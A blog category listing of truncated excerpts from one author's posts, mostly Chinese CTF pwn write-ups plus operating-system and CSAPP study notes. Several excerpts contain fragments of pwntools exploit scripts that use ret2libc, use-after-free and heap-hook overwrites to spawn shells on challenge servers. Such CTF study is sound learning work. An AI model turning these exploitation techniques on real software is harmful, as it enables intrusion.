
学习经历
文章平均质量分 58
北岛静石
以后新博客的更新会先放在自己的notion:https://www.notion.so/3b69777783774061b97d84cfba3e3684?v=b44f836f6de44ae598aa6af39b4e87ef
展开
-
Embedded Security CTF-2
先挖个坑,还有三道就刷完了原创 2021-12-23 03:15:45 · 1160 阅读 · 0 评论 -
Embedded Security CTF-1
Embedded Security CTF (1)Tutorial有几个不同的指令;reset:重启cpubreak:地址不加*unbreak:取消断点let: gdb下的setsolve: 发送解决问题的请求payload: 70617373776f7264New Orleans内存里直接就能找到了, 但发现好像还有个gets的栈溢出, 预期解payload: 7c30544d492f5aSydney第一次遇到了大端法诶, payload: 7936602430334f66Han原创 2021-12-22 02:56:41 · 1047 阅读 · 0 评论 -
Nov 26, 21在macOS 12.0.1上布置pwn环境
前言:不是让民那桑在mac上做amd架构的题目,我布置环境是为了以后方便pwn arm架构的题目/设备之类的(逃)Pwn environment:lldb && voltron && tmuxinator && pwntools:Because outstanding performance of Plugins in gdb like pwndbg, gef and so on. I choose to install gdb on my M1 Ma原创 2021-11-27 02:04:28 · 1914 阅读 · 2 评论 -
2021东华杯pwn部分wp
前言:除了boom都蛮简单的, 第四个pwn因为boom做的有点久就没来得及, 看了眼感觉不难也就不想花时间再做了cpp1:由于change时std::cin的大小没有控制好, 所以cin可以输入很多字符, 导致了堆溢出, 且申请回来的时候没有手动清空fd位, 泄露了heap偏移, 得到了tcache结构体的地址, 利用堆溢出控制free块的fd就可以控制整个tcache结构体, 从而使得unsorted bin产生. 同上, 泄露libc偏移, 再利用fd写__free_hook与system, 再原创 2021-11-01 17:43:16 · 1662 阅读 · 0 评论 -
2021鹤城杯pwn部分wp
littleof白给的ret2libc, 第一个输出泄露canary, 第二个输出泄露libc基址顺便控制一下返回地址再返回去输入, 之后就getshell咯(摊手)#!/usr/bin/env python#coding=utf-8from pwn import*sh = remote("182.116.62.85", 27056)#sh = process('./littleof')elf = ELF('./littleof')libc = ELF('./libc-2.27.so')原创 2021-10-09 22:47:49 · 2201 阅读 · 6 评论 -
操作系统真象-开启分页&加载内核
操作系统真象-开启分页&加载内核Tags: learning experience, 操作系统开启分页:ps. 下面的内容都是基于二级页表的, 毕竟大伙都是用的二级页表, 而且动态规划的二级页表空间利用率高于一级页表哇为什么要开启分页:最大化利用物理内存, 避免物理内存啥的, 以及加速内外存交换?(毕竟书上方案B在面对需要大空间进程时, 对内外存交换速度的打击是毁灭性的)如何开启分页机制:ps. 这三个步骤是有顺序的准备好页目录及页表将页表目录的地址写入cr3cr0的PG位置零原创 2021-10-03 04:01:35 · 1082 阅读 · 0 评论 -
羊城杯和天翼杯的补充
YCB2021-how2heap:当数组被填满的时候, 再进行删除会出现相同相同指针, 导致uaf同时也存在数组负索引未检测的问题, 因此got表等也是可以被free的后面就是修改got表, 使得指向onegadget的地址就行了(这题当时没做出来主要是因为没发现uaf, 而且在本地仅靠负索引就可以做出来了, 但是在远程由于全局变量的改变, 导致负索引free等操作受限, 所以打不出来, 而且记录的这种做法很巧妙, 反正让我现在做也不一定做得出来, 记录下来主要是为了告诉自己got表可以尝试写入on原创 2021-09-30 01:23:04 · 1030 阅读 · 0 评论 -
2021绿城杯pwn部分wp
前言:这次比赛了解到了还有jspwn这玩意, 然后没时间学(, 十月一定(逃)uafpwn:释放之后指针未置零, 所以use after free乱打from pwn import *context(log_level = 'debug', arch = 'amd64')# sh = process('./uaf_pwn')sh = remote('82.157.5.28', 52102)elf = ELF('./uaf_pwn')libc = elf.libcdef add(siz原创 2021-09-29 21:00:35 · 1203 阅读 · 0 评论 -
2021长城杯pwn部分wp
前言:就, 除了vmpwn都是基础glibc的heap题king_in_heap_1:delete函数没有把free后的指针置零, 存在uaf, 然后用unsortedbin的fd指向io结构体泄露libc, 然后mallochook上用realloc调整一下, 打onegadget就完事了#!/usr/bin/env python# coding=utf-8from pwn import *sh=remote('47.104.175.110',20066)#sh=process('./ki原创 2021-09-19 23:36:50 · 6123 阅读 · 0 评论 -
操作系统真象-保护模式
操作系统真象-保护模式Column: September 12, 2021Tags: learning experience, 操作系统一点写汇编的新知识:可以在代码中用[bits xx]来指定生成xx位的shellcode, 如果在接触到下一个[bits xx]之前出现了不符合当前位数的内存/寄存器操作, 则会在机器码之前添加0x66(反转操作数大小前缀)和0x67(反转寻址方式签字), 然后汇编如何在机器码方面体现操作数的位数不同就交给硬件吧!如何进入保护模式:打开A20地址线加载gdt原创 2021-09-15 22:52:57 · 1062 阅读 · 0 评论 -
操作系统真象-MBR
操作系统真象-MBRColumn: September 5, 2021Tags: learning experience, 操作系统磁盘创建:两种创建光秃秃系统盘的方法:qemu:qemu-img create -f qcow2 -b hd60M.img -size 60Mbochs:bximage -hd -mode="flat" size=60 -q hd60M.img磁盘启动:启动方式:(bochs生成的可以在qemu使用. 但qemu生成的好像不能在bochs使用, 至少在我原创 2021-09-13 14:59:09 · 1100 阅读 · 0 评论 -
2021羊城杯pwn部分wp
前言:羊城杯的how2heap没做出来, rctf也爆零了, 哎, 颓了BabyRop:最基础的栈溢出rop链, 直接贴exp了:from pwn import *#p=process('./BabyRop')p=remote('192.168.41.23', 11000)context.log_level='debug'sh=0x804c029system=0x80490a0#gdb.attach(p,'b *0x804926a')p.sendline('a'*0x28+'b'*原创 2021-09-12 20:39:03 · 6568 阅读 · 6 评论 -
21 08 10学习总结
21.08.10学习总结Column: August 10, 2021Tags: learning experience不知道什么时间-不知道什么时间: buu刷题Re:不一样的flag: 迷宫题の初体验, 一开始IDA的分析不对导致分析题目分析不出来, 就问了一下学长如何修改IDA的stack显示(先edit-undefined, 再右击选择array啥的或者按D表示define啥的), 而后就是分析迷宫, 由于这个字符串被默认认为是在末尾加上\x00了, 所以才被识别为char[26], 实际原创 2021-08-11 01:26:06 · 982 阅读 · 0 评论 -
21 08 08学习总结
21.08.08学习总结Tags: learning experience不知道什么时间-不知道什么时间: BUU刷题re找门:xor: 一个数xor同一个数两次之后仍然是其本身reverse3: 一个base64的加密, 主函数里有个+i的操作, 把+i消去之后base64解密就行了, 但是因为是萌新第一次接触re的base64, 于是就自己写了个base64的加密与解密练手(ida的ctrl e是直接选取字符串)helloword: jeb打开, 就能直接找到了SimpleRev: 前面有原创 2021-08-10 23:22:13 · 1166 阅读 · 0 评论 -
21 08 07学习总结
21.08.07学习总结Column: August 7, 2021Tags: learning experience09:00-11:00: xman爆零17:00-00:00: buu刷题+re入门: re入门: 夜影大哥说哪个有兴趣就先学啥, 好耶! Linux Re: 主要学了LD_PRELOAD那一块, 别的那几篇wiki因为没例题, 所以也还没细原创 2021-08-07 04:29:02 · 134 阅读 · 0 评论 -
Ucore Lab1(下)
Ucore Lab1(下)Column: August 4, 2021Tags: kernel study, learning experience练习五:堆栈啥的是用的32位的, 因为是学pwn的基础, 就不赘述了直接放代码(其实就是各种调用它写好的库函数)voidprint_stackframe(void) { uint32_t now_ebp = read_ebp(); uint32_t now_eip = read_eip(); while(now_ebp !=原创 2021-08-05 00:47:23 · 93 阅读 · 0 评论 -
Ucore Lab1(中)
Ucore Lab1(中)Column: August 3, 2021Tags: kernel study, learning experience关于A20地址线的一些东东:诞生的原因: 之前CPU 8086的最大寻址范围为0xffff0+0xffff=0x10ffef, 由于当时技术的限制(地址线也只有20根), 所以当地址大于0xfffff后会发生"回滚"的现象, 然而到了CPU Intel 80286后地址线变为了24根(当然后面的地址线会更多就是了), 当地址大于0xfffff后不是回滚,原创 2021-08-03 18:14:56 · 104 阅读 · 0 评论 -
Ucore Lab1(上)
Ucore Lab1(上)前情提要:Vx6太难了, ????????跑路了日, 怎么Ubuntu里敲出来的中文这么怪ppt来源于清华大学的操作系统网课练习1:Q1: ucore.img是如何一步一步生成的?先看一下makefile(选择编译器和编译器选项), 经过对比, 发现使用的是LLVM makefile系统, cc实际上为gcc编译 / ld链接选项有如下:-g可调试 -Wall会列举编译文件中的一些常见错误 -O2为优化程度 -march(架构?不会翻译)为i686 -fn原创 2021-07-30 03:10:14 · 231 阅读 · 0 评论 -
21 07 28学习总结
21.07.28学习总结Column: July 28, 2021Tags: learning experience11:00-12:00: buu刷题: ciscn_2019_final_3我写的不好, 写成要爆破的了14:25-16:30: :buu刷题: ciscn_2019_es_7: 和ciscn_2019_s_3一模一样ciscn_2019_s_9: 写一段汇编就好了picoctf_2018_shellcode: ret2shellcode, 我傻逼了actf_2019_babys原创 2021-07-29 00:44:38 · 186 阅读 · 0 评论 -
21 07 27学习总结
21.07.27学习总结Column: July 27, 2021Tags: learning experience前言:前几天在忙xctf和拆笔记本电脑, 除了自己撸出一道ctb外, 没什么其它实际产出(因为装内核一直失败), 所以就没怎么写博客06:00-08:00: buu刷题, roarctf_2019_easy_pwn版本下错了…然后捣腾了两个小时, 学到了realloc_hook写onegadget的方法16:00-16:30: buu刷题: wustctf2020_getshell原创 2021-07-29 00:42:54 · 206 阅读 · 0 评论 -
喜报(bushi)
XCTF没爆零真是太好了原创 2021-07-25 16:54:34 · 152 阅读 · 0 评论 -
21 07 22学习总结
21.07.22学习总结Column: July 22, 2021Tags: learning experience13:50-14:55: buu刷题bjdctf_2020_router: 没必要写expwustctf2020_getshell: ret2textbabyfengshui_33c3_2016: 基础堆溢出, 一开始没找到溢出点, 我逆向功底好差…16:00-16:40: 在绝望中分析ezcloud, 并且感受了一下union的作用: 类似于申请了一块内存, 但那个内存所存的变原创 2021-07-23 01:58:45 · 183 阅读 · 1 评论 -
21 07 21学习总结
21.07.21学习总结Column: July 21, 2021Tags: learning experience前五天出去培训了, 累死累活的没时间学习其他东西, 好在薪资还可以…要不然亏大了16:00-16:30: 给顾客pwn答疑以及做了两道题…(一个particular write, 一个格式化字符串)23:30-24:00: buu刷题两道, 总算把第一页写完了jarvisoj_level3:很没意思的ret2libc, 而且libc给的还是踏马的错的, 建议使用libcsearc原创 2021-07-22 00:13:04 · 119 阅读 · 0 评论 -
21 07 15学习总结
21.07.15学习总结Column: July 15, 2021Tags: learning experience05:00-05:15: 补档昨天的学习总结和继续整理ctf套路集合05:20-05:50: 写了两种ciscn_2019_s_3的解法, 一种昨天想的csu, 一种基础srop(顺便稍微复习了一下, 注意这个由于出现了不可避免的push rbp, 所以要先处理一下rbp)05:55-06:10: 更新ctf套路集合, 加入了部分常用代码06:45-08:15: buuoj刷题:原创 2021-07-16 02:37:53 · 197 阅读 · 0 评论 -
21 07 14学习总结
21.07.14学习总结Tags: learning experience05:00-06:10: buuoj刷题[HarekazeCTF2019]baby_rop: 白给的ropjarvisoj_level2_x64: 白给的rop, 唯一要注意的就是find -name 找flagothers_shellcode: 连上去直接getshell, 不知道存在的意义是啥pwn2_sctf_2016: 32位的常规栈题, 复习了一下32位传参, 同时还发现sh在32位好像不能直接getshell至原创 2021-07-15 05:14:59 · 248 阅读 · 0 评论 -
21 07 13学习总结
21.07.13学习总结Column: July 13, 2021Tags: learning experienceLOL的终极魔典真好玩(逃), 今天B站还被拿下了, 笑嘻了00:30-03:00: 写完了pipeline, 先通过数据转换和传参导致溢出, 再改指针直接任意写, 其实heapbase都不用泄露的21:30-21:55: 写学习总结和ctf套路总结22:20-23:00: 看了会Linux私房菜, 内核那里只看懂一丢丢, 呜呜呜2021强网杯 babypwn:#!/usr/原创 2021-07-14 00:13:41 · 177 阅读 · 0 评论 -
21.07.12学习总结
今天打了疫苗, 然后骑车回家没戴头盔, 喜-20¥01:30-03:20: 完成了2021强网杯babypwn的heap泄露和overlapping(这玩意我还真忘了, 看了好久…), 睡醒花半个小时估计就能getshell了13:30-14:20: babypwn完成了…(SigreturnFrame差点忘了, 动调了一下)23:00-23:30: pipeline稍微标注了一下反汇编PS : 今天下午事情有点多, 所以学习进度不太行, 明天一定是当人的, 包括babypwn的exp也是放在明天了原创 2021-07-13 03:20:03 · 193 阅读 · 0 评论 -
21.07.11学习总结
00:00-03:20 写了一份详细的listbook的wp(高版本tc和smallbin利用)13:00-15:30 写了一半的强网杯babypwn, 研究了一下z3的使用23:00-23:30 ctf套路集合开了个头原创 2021-07-12 00:54:28 · 105 阅读 · 0 评论 -
ciscn2021初赛pwn部分wp
ciscn2021初赛感谢wepn的队友Column: May 17, 2021pwny:首先ida看一眼发现read文件描述符全是3, 好像是读个随机数, 然后我们在3的地址上连着用Write读两次就可以把他变成0, 就可以写入内存了, 后面就是数组越界写, 负数可以往前面读读出libc偏移和pie偏移, 在得到libc之后可以获得环境变量environ的地址, 之后通过(libc_base+libc.sym[‘environ’]-pie_base-0x202060)/8, 就可以得到其位置是数组原创 2021-05-17 16:30:13 · 1249 阅读 · 0 评论 -
ctfwiki堆溢出总结
堆溢出小总结Column: Apr 12, 2021Tags: Pwn, summary开头的一些碎碎念:除了fastbin大小的chunk,其余物理相邻topchunk的chunk在free之后都会合并进topchunk利用malloc_hook通常是在main_arena-0x23-8的位置有个0x7f可以被识别为fakechunk(free_hook还不会,悲)Uaf:堆被free之后,指向其的指针未被置空导致fd与bk之类的关键信息可以被编辑, 还有一种就是double free之类的原创 2021-04-12 17:28:01 · 908 阅读 · 2 评论 -
how2heap的fastbin_dup_consolidate(包含sleepyholder)
fastbin_dup_consolidateColumn: Mar 28, 2021昨日dasctf, 临时学会了house of orange, 但依旧爆零, 哎, 只能说自己不够努力利用方式及其效果:方式: 很简单, 先申请一个fastbin范围内的堆1, 再随便申请一个堆2防止被topchunk合并, 之后释放堆1, 申请large bin大小的堆3, 最后释放一次堆1, 此时不会段错误, 而会让堆1同时存在于fastbin与unsortedbin中效果: 个人认为how2heap中讲的并原创 2021-03-29 03:05:59 · 480 阅读 · 1 评论 -
2021-1-28深入了解计算机系统第2章个人总结
1.通过数组的方式访问地址2.逻辑运算3.整数运算4.IEEE标准下的浮点数原创 2021-02-07 08:38:29 · 141 阅读 · 0 评论 -
2021-2-3 csapp:datalab
规则: 1. 只允许使用0-0xff的整数 2. 只允许存在函数参数和局部变量(无全局变量) 3.可使用的一元运算符! ~ 4.可使用的二元运算符& ^ | << >> 5.只允许使用整数, 不可以使用联合体数组等原创 2021-02-07 06:39:15 · 335 阅读 · 1 评论 -
2020-11-19学习记录(keer‘s bug与gdb bug)
keer’s bug之前比赛的时候死脑经了, 想到栈迁移但是不会控制rdx就放弃了, 但是没注意到之前read函数残余在rdx上的参数, 啊啊啊笨死了!残余参数, 可以看到即使在函数返回的时候依旧在rdx上存有数据:同时可以看一下在调用read函数之前寄存器做出的相关处理:在我选定的那一行可以看到是根据rbp来决定s的地址的(应该算基础知识,悲), 所以如果迁移到了bss段上, 那日后写入的地址也就自然会在bss段上了所以第一次payload只要做到迁移就行了payload1='a'*0x5原创 2020-11-20 02:07:21 · 206 阅读 · 0 评论 -
2020-11-18学习经历
9447 CTF 2015: Search Engine参考链接:https://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/程序分析:可以看wiki或者我昨天的博客https://editor.youkuaiyun.com/md/?articleId=109756595简单解惑:如果说, 第一次输入’a’*48的话没有获得地址可能如同下图一样下一个地址上存放的是\x00之类的产生了截断又因为该程序get num失败后是递归原创 2020-11-19 17:50:16 · 118 阅读 · 0 评论 -
2020-11-17学习总结
2015 9447 CTF : Search Engine保护就没开PIE先IDA分析走一波:在做题中, 个人认为比较困惑的一段代码为index a sentence函数, 如下:但其实读通了他的意思就是如果碰到一个空格就创建一个结构体, 如果全程都没有碰到则值创建一个就行了, 结构体如下:其中content为指向单词内容开头, sentence_ptr为指向句子开头get_sentence函数未置 ‘\x00’ (不过好像没怎么利用到):在index a sentence函原创 2020-11-18 00:44:54 · 105 阅读 · 0 评论 -
2020-11-15 UNCTF部分pwn的wp
第一题: 直接用pwn里的recv( )就行了do you like me: 直接覆盖到ip返回地址就好了#!/usr/bin/env python# coding=utf-8from pwn import *sh=remote('node2.hackingfor.fun',36806)#sh=process('./like')sh.recv()sh.sendline(p64(0)*3+p64(0原创 2020-11-15 21:38:43 · 337 阅读 · 0 评论 -
2020-11-10学习记录
CTFwiki上关于one by off的例题 还是有些疑惑的,主要是所谓的mmap地址#!/usr/bin/env python# coding=utf-8from pwn import *sh=process('./b00ks')elf=ELF('./b00ks')libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')原创 2020-11-11 04:03:30 · 145 阅读 · 1 评论 -
2020-11-09学习记录:攻防世界pwn之echo_back
今天就算是世界毁灭,我也要更新博客,容我先睡一觉原创 2020-11-09 04:33:19 · 311 阅读 · 1 评论 -
20.5.26pwn做题记录
others_babystack之前做过差不多的,只不过是改got表的,但是64位好久不做了,忘了好多题目开启了canary保护先看一下源码:明显看到case1存在栈溢出漏洞,然后case2存在打印函数可以把canary打印出来,再在case3退出一下,利用一下漏洞就可以了(注:我之前忘记了64位传参要用寄存器di,si,dx,cx,r8,r9的顺序)exp:from pwn import *from LibcSearcher import LibcSearcher#sh=process原创 2020-05-27 11:18:17 · 259 阅读 · 0 评论